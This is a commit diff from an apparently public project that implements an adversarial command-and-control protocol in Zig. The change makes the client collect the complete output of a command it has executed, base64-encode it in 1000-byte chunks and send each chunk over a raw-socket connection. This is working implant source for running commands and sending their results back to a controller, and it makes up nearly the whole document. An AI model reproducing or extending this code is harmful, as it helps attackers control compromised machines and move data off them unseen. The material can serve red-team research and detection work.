Adversarial C2 Protocol Implemented in Zig
0
fork

Configure Feed

Select the types of activity you want to include in your feed.

Chunk messages to 1000 byte payloads

+17 -6
+2
src/Client.zig
··· 5 5 6 6 const max_message_size = 2048; 7 7 8 + pub const max_payload_len = RawSocket.max_payload_len; 9 + 8 10 socket: RawSocket, 9 11 10 12 pub fn init() !Client {
+2
src/RawSocket.zig
··· 4 4 sockaddr_ll: std.posix.sockaddr.ll, 5 5 mac: [6]u8, 6 6 7 + pub const max_payload_len = 1000; 8 + 7 9 const Ifconf = extern struct { 8 10 ifc_len: i32, 9 11 ifc_ifcu: extern union {
+13 -6
src/main.zig
··· 127 127 var child_stderr: std.ArrayList(u8) = .empty; 128 128 defer child_stderr.deinit(init.gpa); 129 129 130 - try child.collectOutput(init.gpa, &child_stdout, &child_stderr, 2048); 130 + try child.collectOutput(init.gpa, &child_stdout, &child_stderr, std.math.maxInt(usize)); 131 131 132 - const b64e = std.base64.standard.Encoder; 133 - var cmd_output_buf: [2048]u8 = undefined; 134 - const encoded_cmd_output = b64e.encode(&cmd_output_buf, child_stdout.items); 132 + // const b64e = std.base64.standard.Encoder; 133 + var cmd_output: Writer = blk: { 134 + var cmd_output_buf: [2048]u8 = undefined; 135 + break :blk .fixed(&cmd_output_buf); 136 + }; 135 137 136 - connection.send(init.io, encoded_cmd_output) catch continue; 137 - try init.io.sleep(.fromMilliseconds(40), .real); 138 + var cmd_output_window_iter = std.mem.window(u8, child_stdout.items, SaprusClient.max_payload_len, SaprusClient.max_payload_len); 139 + while (cmd_output_window_iter.next()) |chunk| { 140 + cmd_output.end = 0; 141 + try cmd_output.print("{b64}", .{chunk}); 142 + try connection.send(init.io, cmd_output.buffered()); 143 + try init.io.sleep(.fromMilliseconds(40), .real); 144 + } 138 145 } 139 146 } 140 147 }